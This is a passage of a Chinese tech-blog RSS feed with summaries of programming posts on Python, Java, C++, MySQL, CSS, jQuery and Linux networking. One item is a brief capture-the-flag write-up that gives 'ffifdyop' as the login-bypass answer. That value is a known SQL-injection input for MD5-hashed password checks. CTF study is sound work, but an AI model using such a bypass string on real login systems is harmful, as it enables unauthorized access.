      <link>https://bchobby.github.io/posts/db8b0ed0accbbe5b812f3b280ab3ee79/</link>
      <pubDate>Sun, 25 Mar 2018 13:39:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db8b0ed0accbbe5b812f3b280ab3ee79/</guid>
      <description>1、合并列表（extend）&#xA;跟元组一样，用加号（+）将两个列表加起来即可实现合并：&#xA;In [1]: x=list(range(1, 13, 2)) In [2]: x + [&#39;b&#39;, &#39;a&#39;] Out[2]: [1, 3, 5, 7, 9, 11, &#39;b&#39;, &#39;a&#39;] 对于已定义的列表，可以用extend方法一次性添加多个元素：&#xA;In [7]: x2=[3, 6, 1] In [8]: x.extend(x2) In [9]: x Out[9]: [1, 3, 5, 7, 9, 11, 3, 6, 1, 3, 6, 1, 3, 6, 1] 需要说明的是：加号（+）执行列表的合并是非常浪费资源的，因为必须创建一个新列表并将所有对象复制过去，而用extend将元素附加到现有列表（尤其是在构建一个大列表时）就会好很多。&#xA;因此，在进行列表合并操作时，尤其是对于大数据量的列表合并，强烈建议使用extend函数。&#xA;2、列表排序（sort）&#xA;列表的sort方法可以实现就地排序（无需创建新对象，字符串按首字母进行排序）：&#xA;In [10]: a=[1, 5, 3, -3, 0] In [11]: a.sort() In [12]: a Out[12]: [-3, 0, 1, 3, 5] In [13]: s=[&#39;a&#39;,&#39;ab&#39;,&#39;3e&#39;,&#39;z&#39;] In [14]: s.</description>
    </item>
    <item>
      <title>实验吧  web渗透至后台登陆</title>
      <link>https://bchobby.github.io/posts/ac72a9f9ec1efeb051edb6e1e7965801/</link>
      <pubDate>Sat, 24 Mar 2018 21:52:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac72a9f9ec1efeb051edb6e1e7965801/</guid>
      <description> 点开链接的源码可以发现密码是经过md5哈希加密的，所以先不考虑去破解密码，先看看有没有其他的提示可以看到php文件的名称并没有实际意义，于是就试了一下发现flag就是ffifdyop，所以说这道题完全是靠脑洞的。。。 </description>
    </item>
    <item>
      <title>MATLAB矩阵的基本运算及操作</title>
      <link>https://bchobby.github.io/posts/13119f96520be212691b3cac10aeda1f/</link>
      <pubDate>Fri, 23 Mar 2018 10:49:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13119f96520be212691b3cac10aeda1f/</guid>
      <description> </description>
    </item>
    <item>
      <title>C&#43;&#43; const 和 constexpr 的区别？</title>
      <link>https://bchobby.github.io/posts/252c0b2080491f82e5c78dea16546528/</link>
      <pubDate>Thu, 22 Mar 2018 21:29:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/252c0b2080491f82e5c78dea16546528/</guid>
      <description>语义上： constexpr：告诉编译器我可以是编译期间可知的，尽情的优化我吧。 const：告诉程序员没人动得了我，放心的把我传出去；或者放心的把变量交给我，我啥也不动就瞅瞅。&#xA;语法上： constexpr是一种比const 更严格的束缚, 它修饰的表达式本身在编译期间可知, 并且编译器会尽可能的 evaluate at compile time. 在constexpr 出现之前, 可以在编译期初始化的const都是implicit constexpr. 直到c++ 11, constexpr才从const中细分出来成为一个关键字, 而 const从1983年 c++ 刚改名的时候就存在了… 如果你初学c++, 应当尽可能的, 合理的使用constexpr来帮助编译器优化代码.</description>
    </item>
    <item>
      <title>Java构造方法学习</title>
      <link>https://bchobby.github.io/posts/bd0e57634d343144fb9dc80c74aa2698/</link>
      <pubDate>Thu, 22 Mar 2018 10:39:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd0e57634d343144fb9dc80c74aa2698/</guid>
      <description>一、构造方法的定义与声明 构造方法的名字必须与所在类的名字一致没有返回值，并且不能使用void（直接空着就好）。访问权限可以为任意，但一般使用public权限！构造方法中的参数可以根据需要自行定义，参数不同的方法构成重载。&#xA;例子：&#xA;class Fu { public Fu(){} //无参的公有构造方法 public Fu(int i){} //参数类型为int的公有构造方法 ...... } public class Demo extends Fu { public Demo(){} //无参的公有构造方法 public Demo(int i){} //参数类型为int的公有构造方法 public Demo(int i,double d){} //参数类型为int和double的公有构造方法 ... } 二、构造方法的使用 java中构造方法的使用有两个地方，一个是跟在关键字new后面，类名加上一个小括号，小括号内根据实际加上实参，另一个是跟在关键字super或者this后面加上一个（）；（）内根据实际添加实参。&#xA;例子1：&#xA;Demo demo = new Demo(); //这里是调用的是一个无参的构造方法，必须声明在方法中，最好声明在主方法！&#xA;上面的构造方法根据实际添加实参，jvm根据根据构造方法的参数不同加载不同的构造方法&#xA;例子2：&#xA;public Demo(){&#xA;this(2); //这里调用参数为int类型的本类的构造方法&#xA;}&#xA;例子3：&#xA;public Demo(){&#xA;super(1); //调用参数为int类型的父类的构造方法&#xA;}&#xA;注意：例子2和例子3中调用构造方法只能出现在构造方法中，而且必须出现在第一行，两者不能出现在同一个构造方法中。而且this和super调用构造方法时，要留构造方法出口，意思就是：最后调用的构造方法中没有再调用别的构造方法。&#xA;三、构造方法的作用 1、为了初始化成员属性，而不是初始化对象，初始化对象是根据new关键字实现的；&#xA;2、通过new调用构造方法初始化对象，编译时根据参数签名来检查构造函数，称为静态联编和编译多态；&#xA;3、创建子类对象会调用父类构造方法，但是不会创建父类对象，只是调用父类构造方法初始化父类成员属性；</description>
    </item>
    <item>
      <title>mysql之validate_password_policy</title>
      <link>https://bchobby.github.io/posts/1f38f65cf5f303d712c79ca6b6280f61/</link>
      <pubDate>Thu, 22 Mar 2018 10:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f38f65cf5f303d712c79ca6b6280f61/</guid>
      <description>前面长篇大论，大刀阔斧，事无巨细地讲解了mysql在centos上的安装。&#xA;但是呢，上一篇遗留一个问题，就是mysql修改密码时候遇到的一个问题：密码校验策略。&#xA;引用多篇文章的内容，自己梳理了一下，添加了一点自己的理解。老样子，请看大屏幕：&#xA;前言 validate_password插件是mysql5.6以后可以引入的一个新密码校验插件（网友说的，同时还说要用这个插件至少要求mysql5.6.6之后的版本，没啥重要的，就没去验证了），在mysql5.7之后会自动安装的（这个是真的，我装的5.7.21是这样的）。&#xA;validate_password_policy是随着validate_password插件诞生而诞生的，换句话说如果没有安装validate_password插件，就不用看下面的内容了。&#xA;从创建用户说起：如我们在mysql中可以用grant all on *.* to userd@&#39;localhost&#39; identified by &#39;123&#39;; 来创建一个userd用户，虽然用户是创建成功了，但是这个用户的密码强度太低了非常容易被破解；为了把问题解决在摇篮里，最好是在创建用户时就验证密码强度，如果强度达不到要求就不允许创建。为了达到这个目地validate_password插件应运而生，如果没有装过validate_password插件，可以如下安装（未测试过）：&#xA;install plugin valaidte_password soname &#39;validate_password.so&#39;; 密码校验策略典型例子 第一次安装完mysql不管是用临时密码登入还是通过免密方式修改密码登入之后，如果没有马上修改密码，而有其他的对数据库的操作动作都会报错：&#xA;ERROR 1820 (HY000): You must reset your password using ALTER USER statement before executing this statement. 这个时候如果直接修改密码：&#xA;alter user &#39;root&#39;@&#39;localhost&#39; identified by &#39;123456789&#39;; 就会触发mysql的安全校验问题了：&#xA;ERROR 1819 (HY000): Your password does not satisfy the current policy requirements validate_password_policy作用 判断修改密码时候新密码是否符合当前的策略，不满足报错，不让修改。&#xA;validate_password_policy类型 PolicyTests Performed0 or LOWLength1 or MEDIUMLength; numeric, lowercase/uppercase, and special characters2 or STRONGLength; numeric, lowercase/uppercase, and special characters; dictionary file 用于控制validate_password行为系统参数： 这些参数是要安装好validate_password 插件后才能通过show variables like &#39;validate_password%&#39;;看到。</description>
    </item>
    <item>
      <title>推荐 ：数据科学与大数据技术专业特色课程研究</title>
      <link>https://bchobby.github.io/posts/02d7e50378778edb9f167c249acc8a0b/</link>
      <pubDate>Thu, 22 Mar 2018 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02d7e50378778edb9f167c249acc8a0b/</guid>
      <description>在我国，数据科学与大数据技术专业的建设已成为新的热点话题。在系统调研世界一流大学数据科学专业建设现状的基础上，从特色课程视角重点分析加州大学伯克利分校、约翰·霍普金斯大学、华盛顿大学、纽约大学、斯坦福大学、卡内基梅隆大学、哥伦比亚大学、伦敦城市大学等8所大学的数据科学专业，提出数据科学与大数据技术这一新专业应重视的10门特色课程，并分析了现阶段我国数据科学教育中普遍存在的8种曲解现象及对策建议。&#xA;2016年，教育部发布的《2015年度普通高等学校本科专业备案和审批结果》中就首次增设“数据科学与大数据技术专业”，并获批了北京大学、对外经济贸易大学及中南大学的新增专业申请。接着，2017年，中国人民大学等32所高校出现在第二批次的获批名单中。另，全国高校大数据教育联盟的统计数据显示，2017年申请该专业的院校高达263所，其中工学190所，理学73所[1]。从申请资料看，国内数据科学专业是一门主要以统计学和计算机科学与技术专业为基础建设的全新专业。数据科学专业已成为我国现阶段高等教育的热点问题之一。但是，建设什么样的专业以及如何建设该专业仍为各高校面临的难点问题。&#xA;在国外，数据科学（Data Science）专业是以数据分析学（Data Analytics）专业为基础发展而来的，可追溯至2007年北卡罗来纳州立大学（North Carolina State University）率先设立的数据分析硕士学位（Master of Science in Analytics）[2]。与统计学和计算机科学与技术等基础学科不同的是，数据分析学进一步抽象了这些底层科学中的数据问题，连接了包括统计学和计算机科学在内的基础学科与数据科学之间的空白，为数据科学这一新学科的出现奠定了直接基础。从“数据分析学”向“数据科学”的实质性过渡出现在2013年左右，比较有代表性的是纽约大学于2013年新开设的数据科学硕士专业（The Master of Science in Data Science）[3]。之后，包括加州大学伯克利分校、约翰·霍普金斯大学、华盛顿大学在内的多个学校设立了数据科学专业。可见，国外一流大学的数据科学专业建设至少早于国内三年。&#xA;为此，本文在调查分析世界一流大学数据科学专业的培养方案，重点分析数据科学专业中开设的特色课程，并对探讨我国数据科学专业建设的借鉴意义。&#xA;1 数据调研及分析 作者通过Study Portal进行调查发现，截止2017年11月，国外数据科学专业的本科、硕士、博士学位项目分别已达到5601、4179和301项，主要分布在美国、英国、澳大利亚、加拿大、德国和意大利等国家。但是，从课程体系和人才培养定位看，能够体现国外数据科学专业教育的本质与特色的是硕士层次的教育，比较有典型的学校有加州大学伯克利分校、约翰·霍普金斯大学、华盛顿大学、纽约大学、斯坦福大学、卡内基梅隆大学、哥伦比亚大学、伦敦城市大学，如表1所示。&#xA;表1 典型数据科学专业及其特色课程（Typical Data Science Programs and their Core Courses）&#xA;学校&#xA;学位名称&#xA;特色课程&#xA;加州大学伯克利分校 [4]&#xA;信息与数据科学硕士 （Master of Information and Data Science）&#xA;Python 与数据科学/Python for Data Science&#xA;研究设计及数据与分析中的应用/Research Design and Application for Data and Analysis&#xA;数据存储与检索/ Storing and Retrieving Data&#xA;应用机器学习/ Applied Machine Learning&#xA;试验与因果分析/Experiments and Causality</description>
    </item>
    <item>
      <title>Required String parameter &#39;xxx&#39; is not present</title>
      <link>https://bchobby.github.io/posts/b9a3a3dfb4d2a2be93c26b0cf2d7c6b8/</link>
      <pubDate>Wed, 21 Mar 2018 21:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9a3a3dfb4d2a2be93c26b0cf2d7c6b8/</guid>
      <description>学习SpringCloud Feign时，通过url访问Controller，后台报错&#xA;2018-03-21 21:05:09.849 INFO 31732 --- [nio-8765-exec-1] c.netflix.config.ChainedDynamicProperty : Flipping property: service-hi.ribbon.ActiveConnectionsLimit to use NEXT property: niws.loadbalancer.availabilityFilteringRule.activeConnectionsLimit = 2147483647 2018-03-21 21:05:09.851 INFO 31732 --- [nio-8765-exec-1] c.n.l.DynamicServerListLoadBalancer : DynamicServerListLoadBalancer for client service-hi initialized: DynamicServerListLoadBalancer:{NFLoadBalancer:name=service-hi,current list of Servers=[WenderThinkPad:8762, WenderThinkPad:8763],Load balancer stats=Zone stats: {defaultzone=[Zone:defaultzone;&#x9;Instance count:2;&#x9;Active connections count: 0;&#x9;Circuit breaker tripped count: 0;&#x9;Active connections per server: 0.0;] },Server stats: [[Server:WenderThinkPad:8763;&#x9;Zone:defaultZone;&#x9;Total Requests:0;&#x9;Successive connection failure:0;&#x9;Total blackout seconds:0;&#x9;Last connection made:Thu Jan 01 08:00:00 CST 1970;&#x9;First connection made: Thu Jan 01 08:00:00 CST 1970;&#x9;Active Connections:0;&#x9;total failure count in last (1000) msecs:0;&#x9;average resp time:0.</description>
    </item>
    <item>
      <title>关于transform属性的详细介绍</title>
      <link>https://bchobby.github.io/posts/d55794fb8181b83ac697f28666546d57/</link>
      <pubDate>Wed, 21 Mar 2018 13:50:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d55794fb8181b83ac697f28666546d57/</guid>
      <description>了解transform的3D效果之前，先了解一下坐标和透视（perspective）&#xA;一、关于坐标 在了解透视之前，首先要先了解坐标轴。3D变形与2D变形最大的不同就在于其参考的坐标轴不同。2D变形的坐标轴是平面的，只存在x轴和y轴，而3D变形的坐标轴则是x、y、z三条轴组成的立体空间，x轴正向、y轴正向、z轴正向分别朝向右、下和屏幕外&#xA;二、关于透视perspective perspective:none || legth 应用于块状元素，不用于inline元素，无继承性length的值不能0或者是负数，因为观察者与屏幕距离为0时或者在屏幕背面时是不可以观察到被透视元素的正面的透视perspective不可取百分比，因为百分比需要相对的元素，但z轴并没有可相对的元素尺寸一般地，物体离得越远，显得越小。反映在perspective属性上，就是该属性值越大，元素的3d效果越不明显。设置透视perspective属性的元素就是被透视元素。一般地，该属性只能设置在变形元素的父级或祖先级。因为浏览器会为其子级的变形产生透视效果，但并不会为其自身产生透视效果 三、关于透视原点perspective-origin perspective-origin:X值 Y值，设置透视原点（一般默认原点位置为元素的中心点初始值 50% 50%），应用于块状元素(非inline元素)，无继承性 X轴取值：left || right || center || % || length（px|em）Y轴取值：top || center || bottom || % || length（px|em）当perspective-origin 的值只有一个参数时，默认为X轴的值，且Y轴方向为center当X轴或Y轴的值为length时 X轴上数值表示在X轴离0点（元素边框外侧左上角）的偏移量Y轴上数值表示在Y轴离0点的偏移量 关于 transform 属性的用法 transform有5个属性值主要包括：旋转rotate、扭曲skew、缩放scale和移动translate以及矩阵变形matrix; 其主要用法用于2D变形&#xA;【1】translate --移动 样式代码:&#xA;&amp;lt;style&amp;gt; .wrapper{margin-top: 50px;border: 1px solid #dedede;box-shadow: 2px 2px 10px #777;border-radius: 10px;}&#x9;.border{width: 160px;height: 160px;border: 1px solid #ddd;background: #dedede;position: relative;} .border div{position: absolute;left: 0;top: 0;text-align: center;margin: 0;} .box01,.box02,.box03,.box00{font-size: 0.75em;} /* 移动 */ .</description>
    </item>
    <item>
      <title>Java内部类</title>
      <link>https://bchobby.github.io/posts/e3f11725b076857d3bb26627ef3ecb33/</link>
      <pubDate>Wed, 21 Mar 2018 10:26:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3f11725b076857d3bb26627ef3ecb33/</guid>
      <description>一、为何使用内部类 1、内部类提供了更好的封装，只有外部类能访问内部类；&#xA;2、内部类可以独立继承一个接口，不受外部类是否继承接口影响；&#xA;3、内部类中的属性和方法即使是外部类也无法直接访问，相反外部类可以直接访问内部类的属性和方法，即使使用private修饰；&#xA;4、利用回调函数的编写；&#xA;下面是一个内部类的例子：&#xA;public class OuterClass { private String outerName; private int outerAge; public class InnerClass{ private String innerName; private int innerAge; } } 二、内部类与外部类的联系 1、内部类是一个相对独立的实体，与外部类不是is-a的关系； 内部类是一个编译时概念，编译后外部类及其内部类会生成两个独立的class文件：OuterClass.class和OuterClass$InnerClass.class，我用Java编译器对象面的OuterClass进行编译，编译后的结果如下：&#xA;2、内部类可以直接访问外部类的元素，但是外部类不可以直接访问内部类的元素； public class OuterClass { private String outerName; private int outerAge; public class InnerClass{ private int innerName; InnerClass(){ //内部类可以访问外部类的元素 outerName=&#34;I am outer class&#34;; outerAge=23; } public void display(){ System.out.println(outerName+&#34; and my age is &#34;+outerAge); } } public static void main(String[] args) { OuterClass outerClass = new OuterClass(); OuterClass.</description>
    </item>
    <item>
      <title>牛客网java常考面试题笔记</title>
      <link>https://bchobby.github.io/posts/e1f84f4b4076ee5602dcad26a20ff1c6/</link>
      <pubDate>Wed, 21 Mar 2018 09:30:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1f84f4b4076ee5602dcad26a20ff1c6/</guid>
      <description>1. 什么是Java虚拟机？为什么Java被称作是“平台无关的编程语言”？&#xA;Java虚拟机是一个可以执行Java字节码的虚拟机进程。&#xA;java的跨平台不是java源程序的跨平台，如果是这样，那么所以语言都是跨平台的， java源程序先经过javac编译器编译成二进制的.class字节码文件（java的跨平台指的就是.class字节码文件的跨平台，.class字节码文件是与平台无关的），.class文件再运行在jvm上，java解释器（jvm的一部分）会将其解释成对应平台的机器码执行，所以java所谓的跨平台就是在不同平台上安装了不同的jvm，而在不同平台上生成的.class文件都是一样的，而.class文件再由对应平台的jvm解释成对应平台的机器码执行。&#xA;2. JDK和JRE的区别是什么？&#xA;JRE： Java Runtime Environment JDK：Java Development Kit&#xA;JRE顾名思义是java运行时环境，包含了java虚拟机，java基础类库。是使用java语言编写的程序运行所需要的软件环境，是提供给想运行java程序的用户使用的。&#xA;JDK顾名思义是java开发工具包，是程序员使用java语言编写java程序所需的开发工具包，是提供给程序员使用的。JDK包含了JRE，同时还包含了编译java源码的编译器javac，还包含了很多java程序调试和分析的工具：jconsole，jvisualvm等工具软件，还包含了java程序编写所需的文档和demo例子程序。&#xA;如果你需要运行java程序，只需安装JRE就可以了。如果你需要编写java程序，需要安装JDK。&#xA;JRE根据不同操作系统（如：windows，linux等）和不同JRE提供商（IBM,ORACLE等）有很多版本 3. ”static”关键字是什么意思？Java中是否可以覆盖(override)一个private或者是static的方法？&#xA;Static表示静态的意思，可用于修饰成员变量和成员函数，被静态修饰的成员函数只能访问静态成员，不可以访问非静态成员。静态是随着类的加载而加载的，因此可以直接用类进行访问。重写是子类中的方法和子类继承的父类中的方法一样（函数名，参数，参数类型，反回值类型），但是子类中的访问权限要不低于父类中的访问权限。重写的前提是必须要继承，private修饰不支持继承，因此被私有的方法不可以被重写。静态方法形式上可以被重写，即子类中可以重写父类中静态的方法。但是实际上从内存的角度上静态方法不可以被重写。&#xA;4. 是否可以在static环境中访问非static变量？&#xA;因为静态的成员属于类，随着类的加载而加载到静态方法区内存，当类加载时，此时不一定有实例创建，没有实例，就不可以访问非静态的成员。&#xA;static变量在Java中是属于类的，它在所有的实例中的值是一样的。当类被Java虚拟机载入的时候，会对static变量进行初始化。如果你的代码尝试不用实例来访问非static的变量，编译器会报错，因为这些变量还没有被创建出来，还没有跟任何实例关联上。&#xA;5. Java支持的数据类型有哪些？什么是自动拆装箱？&#xA;基本数据类型： 整数值型：byte,short,int,long, 字符型：char 浮点类型：float,double 布尔型：boolean 整数默认int型，小数默认是double型。Float和long类型的必须加后缀。首先知道String是引用类型不是基本类型，引用类型声明的变量是指该变量在内存中实际存储的是一个引用地址，实体在堆中。引用类型包括类、接口、数组等。String类还是final修饰的。 而包装类就属于引用类型，自动装箱和拆箱就是基本类型和引用类型之间的转换，至于为什么要转换，因为基本类型转换为引用类型后，就可以new对象，从而调用包装类中封装好的方法进行基本类型之间的转换或者toString（当然用类名直接调用也可以，便于一眼看出该方法是静态的），还有就是如果集合中想存放基本类型，泛型的限定类型只能是对应的包装类型&#xA;6. Java中的方法覆盖(Overriding)和方法重载(Overloading)是什么意思？&#xA;方法重写的原则：&#xA;1) 重写方法的方法名称、参数列表必须与原方法的相同，返回类型可以相同也可以是原类型的子类型(从Java SE5开始支持)。 2) 重写方法不能比原方法访问性差（即访问权限不允许缩小）。 3) 重写方法不能比原方法抛出更多的异常。 4) 被重写的方法不能是final类型，因为final修饰的方法是无法重写的。 5) 被重写的方法不能为private，否则在其子类中只是新定义了一个方法，并没有对其进行重写。 6) 被重写的方法不能为static。如果父类中的方法为静态的，而子类中的方法不是静态的，但是两个方法除了这一点外其他都满足重写条件，那么会发生编译错误；反之亦然。即使父类和子类中的方法都是静态的，并且满足重写条件，但是仍然不会发生重写，因为静态方法是在编译的时候把静态方法和类的引用类型进行匹配。 7) 重写是发生在运行时的，因为编译期编译器不知道并且没办法确定该去调用哪个方法，JVM会在代码运行的时候作出决定。 方法重载的原则：&#xA;1) 方法名称必须相同。 2) 参数列表必须不同（个数不同、或类型不同、参数类型排列顺序不同等）。 3) 方法的返回类型可以相同也可以不相同。 4) 仅仅返回类型不同不足以成为方法的重载。 5) 重载是发生在编译时的，因为编译器可以根据参数的类型来选择使用哪个方法。 重写和重载的不同：&#xA;1) 方法重写要求参数列表必须一致，而方法重载要求参数列表必须不一致。 2) 方法重写要求返回类型必须一致(或为其子类型)，方法重载对此没有要求。 3) 方法重写只能用于子类重写父类的方法，方法重载用于同一个类中的所有方法。 4) 方法重写对方法的访问权限和抛出的异常有特殊的要求，而方法重载在这方面没有任何限制。 5) 父类的一个方法只能被子类重写一次，而一个方法可以在所有的类中可以被重载多次。 6) 重载是编译时多态，重写是运行时多态。</description>
    </item>
    <item>
      <title>2018全球大学AI排名发布，中国高校表现强势！</title>
      <link>https://bchobby.github.io/posts/3c97572008ce6332173c8d90b27083a7/</link>
      <pubDate>Wed, 21 Mar 2018 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c97572008ce6332173c8d90b27083a7/</guid>
      <description>来源：四川自主招生网&#xA;本文共约1800字，建议阅读6分钟。本文为你列出基于CSranking计算的CS领域体系与师资方面的全球高校排名。&#xA;[导读] 近日，麻省理工学院马萨诸塞校区计算机与信息科学学院教授 Emery Berger 发布一个全球院校计算机科学领域实力排名的开源项目 CSranking 更新了。目前，卡耐基梅隆大学（CMU）、麻省理工学院（MIT）与斯坦福大学名列全球前三，清华大学位列第13名，北京大学第30名，上海交通大学此次排行第48名。&#xA;排名分数计算依据：不同于 US News 和 World Report 的方法（仅仅基于调查），CSranking 的排名主要依据各个高校在计算机领域的顶级学术会议发表的论文数量，度量了绝大多数院校教员在计算机科学领域的各大顶会所发布的论文数量。这样能够帮助人们更好的了解，全球各家大学在计算机科学领域体系与师资方面的实力。&#xA;分数计算计算方法：每一篇论文都被精确地计算一次，最后通过计算所有作者的平均值来计算分数。数据所用的论文均来自 DBLP。&#xA;排名的区域分为8大类，其中包括：美国、加拿大、美国和加拿大、北美、亚洲、澳大利亚、欧洲、全球。再根据近十年多来（2007-2018）的论文发表对各大学实力进行了排名，数据截止日期为 2018年2月19日&#xA;论文分为四大方向&#xA;AI：人工智能、计算机视觉、机器学习与数据采集、自然语言处理、网页信息检索。&#xA;系统：计算机架构、计算机网络、计算机安全、数据库、自动化设计、嵌入式实时系统、高性能计算、移动计算、测量及性能分析、操作系统、编程语言、软件工程。&#xA;理论：算法和复杂性、密码学、逻辑和验证。&#xA;跨学科领域：计算生物与生物信息学、计算机图形学、经济学与计算、人机交互、机器人、可视化。&#xA;论文方向/年份、高校分布区域、排名方式可以随机组合。不同组合得到的结果各不相同。下面，我们一起来详细的看一下排名：&#xA;全球高校排名&#xA;全球高校排行中，前三名分别是：卡内基梅隆大学（CMU），麻省理工学院、斯坦福大学。综合全球排名前十位上榜的学校依次为：UC伯克利大学、伊利诺伊大学厄巴纳-香槟分校（UIUC）、康奈尔大学、密歇根大学、华盛顿大学、佐治亚理工大学、加州大学圣迭戈分校。&#xA;全球大学排名 Top 20&#xA;在上图的榜单中，可以看到清华大学和哥伦比亚大学、苏黎世联邦理工学院并列第13名，北京大学排名第30，上海交通大学排名第48，浙江大学排名第56。&#xA;全球高校AI实力排名&#xA;如果只考虑 AI 部分的排名，排名第一的是卡内基梅隆大学（CMU），清华大学排名第二，康奈尔大学和斯坦福大学并列第3；第5到第10名分别为：北京大学、 佐治亚理工学院、华盛顿大学、加州大学伯克利分校、马萨诸塞大学安姆斯特分校、麻省理工学院&#xA;值得一提的是，清华大学在上一次排行中排第12名，名次整整上升了10名，北京大学这次也排行第5，进入前十排行榜中，浙江大学排名第24，南京大学排名第51。&#xA;全球高校人工智能排行&#xA;近年来，我国诸多人工智能政策相继推出，并两次进入政府工作报告，那么中国的人工智能在世界的排名如何呢？我们一起来看看：&#xA;在人工智能方面，排名前三的分别为：卡内基梅隆大学、清华大学、牛津大学，第4到第10名的学校分别为：北京大学、香港科技大学、新南威尔士大学、南洋理工大学、阿尔伯塔大学、南京大学、浙江大学。&#xA;亚洲大学综合排名&#xA;同时，我们还可以选择查看亚洲大学的排行：&#xA;亚洲地区的高校排名中，前三名分别是：清华大学、新加坡国立大学、北京大学。第四到第十名分别为：韩国科学技术院、香港科技大学、上海交通大学、南洋理工大学、东京大学、CUHK。&#xA;亚洲高校人工智能排名&#xA;亚洲高校人工智能排名 Top 10&#xA;最后，我们再来看看各高校的论文排行，首先来看看综合排名世界第一的卡内基梅隆大学，CMU 教授计算机科学顶会论文贡献排名如下：&#xA;其中，邢波教授在卡内基梅隆教授计算机科学顶会论文排名高居首位。&#xA;清华大学教授计算机科学顶会论文贡献排名&#xA;值得一提的是，Ruslan Salakhutdinov（苹果机器学习负责人），斯坦福大学的 Christopher D. Manning 教授、李飞飞教授也都在排名表中。&#xA;除此之外，你还能查看各高校的文献发表方向细分图，如清华大学的文献发表方向如下：&#xA;如果你换一种组合方式，就会看到不同的结果。排名也会发生相应的变化了，在这里就不一一举例了。感兴趣的可以自己去查看。&#xA;小结&#xA;此排名依据各高校发表论文数量，可以从一定程度上看出高校的科研水平，但不能绝对说明该高校计算机领域实力的高低。如果你想继续在计算机领域深造，这或许也是一种择校的参考方式。&#xA;同时，这是一个开源项目，如果你觉得有什么需要改进的地方，可以通过 Github 修改。作者也表示，这是他想到的一个初步的排名方式，后期可能也会把论文引用量加入，作为一个评分参考依据。</description>
    </item>
    <item>
      <title>js编写的打字游戏</title>
      <link>https://bchobby.github.io/posts/f19ac73e0331bf49498c4b799d59eadf/</link>
      <pubDate>Tue, 20 Mar 2018 17:41:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f19ac73e0331bf49498c4b799d59eadf/</guid>
      <description>该游戏对HTML、CSS、JS的综合运用。&#xA;代码之间使用的方法有详细的解释。&#xA;先说一下大致思路：&#xA;1. 首先我们要做的是CSS的布局，设div属性，用绝对定位定位置。&#xA;2.写主要代码，创建一个字母（当然字母都是图片）。&#xA;3.当实现了生成图片，并能让他从顶端出来，说明你已经成功开始了。那么接下来写下降的函数（分数什么的放在最后写）。&#xA;4.让图片可以成功的掉落下来以后再写限制条件（到底部消失等等）。&#xA;5.写方法：当敲击键盘时触发，相同时图片消失并加分。&#xA;6.接下来写暂停方法和结束方法：结束时利用了一个@keyframes动画效果，使失败的图片从天而降，显得不那么突兀。&#xA;7.前面的功能都实现了以后有兴趣可以再加上等级、速度、坚持的时间等等属性。&#xA;缺点是大小写并不通用，只能使用大写，优化的不够好，有时候会卡，最后贴上截图。&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; *{ margin: 0px; padding: 0px; } body{ background:url(img/dz2.jpg) ; background-size:cover; } #bottom{ width: 100%; height: 70px; position: absolute; bottom: 0px; } .botton{ margin-left: 50px; width: 200px; height: 70px; background-image: url(img/stop.png); background-size: 200px 70px; float: left; text-align: center; line-height:70px; cursor: pointer; } #score{ width: 200px; height: 300px; position: absolute; bottom: 0px; right: 0px; background-image: url(img/fs.</description>
    </item>
    <item>
      <title>linux 添加、删除 ip</title>
      <link>https://bchobby.github.io/posts/232d35b0233a335e993c5523190f622d/</link>
      <pubDate>Tue, 20 Mar 2018 16:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/232d35b0233a335e993c5523190f622d/</guid>
      <description>删除ip echo &#34;########## os remove vip&#34; ip addr del 192.168.56.101/24 dev bond0 label bond0:1 ip addr del 192.168.165.101/24 dev bond1 label bond1:1 echo &#34;########## os remove phy ip&#34; ip addr del 192.168.56.100/24 dev bond0 ip addr del 192.168.165.100/24 dev bond1 添加ip echo &#34;########## os add phy ip&#34; ip addr add 192.168.56.100/24 brd 192.168.56.255 dev bond0 ip addr add 192.168.165.100/24 brd 192.168.165.255 dev bond1 echo &#34;########## os add vip&#34; ip addr add 192.</description>
    </item>
    <item>
      <title>JQuer事件冒泡详解</title>
      <link>https://bchobby.github.io/posts/201971170b4902a39374b7e0d9b7236f/</link>
      <pubDate>Tue, 20 Mar 2018 15:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/201971170b4902a39374b7e0d9b7236f/</guid>
      <description>前言：记录自己在工作中遇到的小问题，积少成多！因为是新手，有什么写的不好的地方还希望大家指出来。有什么更好的方法还希望大家提出来，一起交流学习！（小弟先在这里谢谢大家）&#xA;正文： 一、时间冒泡 默认情况下，事件使用事件冒泡流。当事件（例如单击事件）在某一DOM事件上被触发时，事件将沿着该节点的各个父节点冒泡穿过整个DOM节点层次。在冒泡过程中的任何时候都可以终止事件的冒泡。如果不停止事件的传播，事件将一直通过DOM直至到达文档根部。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34;/&amp;gt; &amp;lt;title&amp;gt;事件冒泡&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../../js/jQuery1.11.1.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $(function () { //为span元素绑定click事件 $(&#39;span&#39;).bind(&#39;click&#39;, function () { var txt = $(&#39;#msg&#39;).html() + &#39;&amp;lt;p&amp;gt;内层span元素被点击&amp;lt;/p&amp;gt;&#39;; $(&#39;#msg&#39;).html(txt); }); //为div 元素绑定click事件 